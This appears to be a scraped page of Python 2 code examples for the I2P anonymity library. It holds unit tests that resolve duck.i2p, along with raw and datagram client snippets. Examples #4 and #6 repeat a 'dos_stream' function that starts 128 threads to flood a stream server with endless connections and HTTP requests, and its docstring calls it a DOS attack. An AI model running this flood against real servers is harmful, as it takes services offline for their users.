Exemple #1
0
def stream_client_test():
  """Unit test for socket.socket in SOCK_STREAM mode."""
  url = 'duck.i2p'
  stream_client('http://' + url + '/')
  stream_client(url)
  stream_client(url + '/')
  stream_client('http://' + url)
  stream_client(socket.resolve('http://' + url + '/'))
  test_passed('socket.socket stream client')
Exemple #2
0
def resolve_test(name='duck.i2p'):
  """Unit test for resolve."""
  try:
    rname = socket.resolve(name)
  except:
    print 'Unit test failed for socket.resolve'
    traceback.print_exc(); sys.exit()

  test_passed('socket.resolve', 'See below')
  print '  Use hosts.txt to verify that ' + name + '=' +   \
        rname[:15] + '...'
def stream_test1():
  """Unit test for samclasses.StreamSession.connect."""

  try:
    dest = socket.resolve('duck.i2p')
    S = samclasses.StreamSession('Bob')
    verify_html(stream_http_get(S, dest))
    verify_html(stream_http_get(S, dest))
    verify_html(stream_http_get(S, dest))
    S.close()

  except:
    print 'Unit test failed for samclasses.StreamSession'
    traceback.print_exc(); sys.exit()
  test_passed('samclasses.StreamSession.connect')
Exemple #4
0
def dos_stream(dest):
    """Perform a DOS attack on a stream server."""
    dest = socket.resolve(dest)

    # DOS code, runs in n separate threads.
    def f():
        while True:
            S = socket.socket(dest, socket.SOCK_STREAM)
            S.connect(dest)
            S.send('GET / HTTP/1.0\r\n\r\n')
            S.close()

    # Start up the threads.
    for i in range(128):
        T = threading.Thread(target=f)
        T.start()
Exemple #5
0
def stream_test1():
    """Unit test for samclasses.StreamSession.connect."""

    try:
        dest = socket.resolve('duck.i2p')
        S = samclasses.StreamSession('Bob')
        verify_html(stream_http_get(S, dest))
        verify_html(stream_http_get(S, dest))
        verify_html(stream_http_get(S, dest))
        S.close()

    except:
        print 'Unit test failed for samclasses.StreamSession'
        traceback.print_exc()
        sys.exit()
    test_passed('samclasses.StreamSession.connect')
Exemple #6
0
def dos_stream(dest):
  """Perform a DOS attack on a stream server."""
  dest = socket.resolve(dest)

  # DOS code, runs in n separate threads.
  def f():
    while True:
      S = socket.socket(dest, socket.SOCK_STREAM)
      S.connect(dest)
      S.send('GET / HTTP/1.0\r\n\r\n')
      S.close()
  
  # Start up the threads.
  for i in range(128):
    T = threading.Thread(target=f)
    T.start()
Exemple #7
0
#! /usr/bin/env python

# -----------------------------------------------
# raw.py: Raw client
# -----------------------------------------------

from i2p import socket

dest = socket.resolve('yourserver.i2p')  # Send to dest
S = socket.socket('Carol', socket.SOCK_RAW)
S.sendto('Hello packet', 0, dest)
Exemple #8
0
#! /usr/bin/env python

# -----------------------------------------------
# datagram.py: Datagram client
# -----------------------------------------------

from i2p import socket

print 'Sending a packet to yourserver.i2p...'

dest = socket.resolve('yourserver.i2p')
S = socket.socket('Bob', socket.SOCK_DGRAM)
S.sendto('Hello packet', 0, dest)

# Get packet up to 1000 bytes -- the rest is discarded.
(data, dest) = S.recvfrom(1000)

print data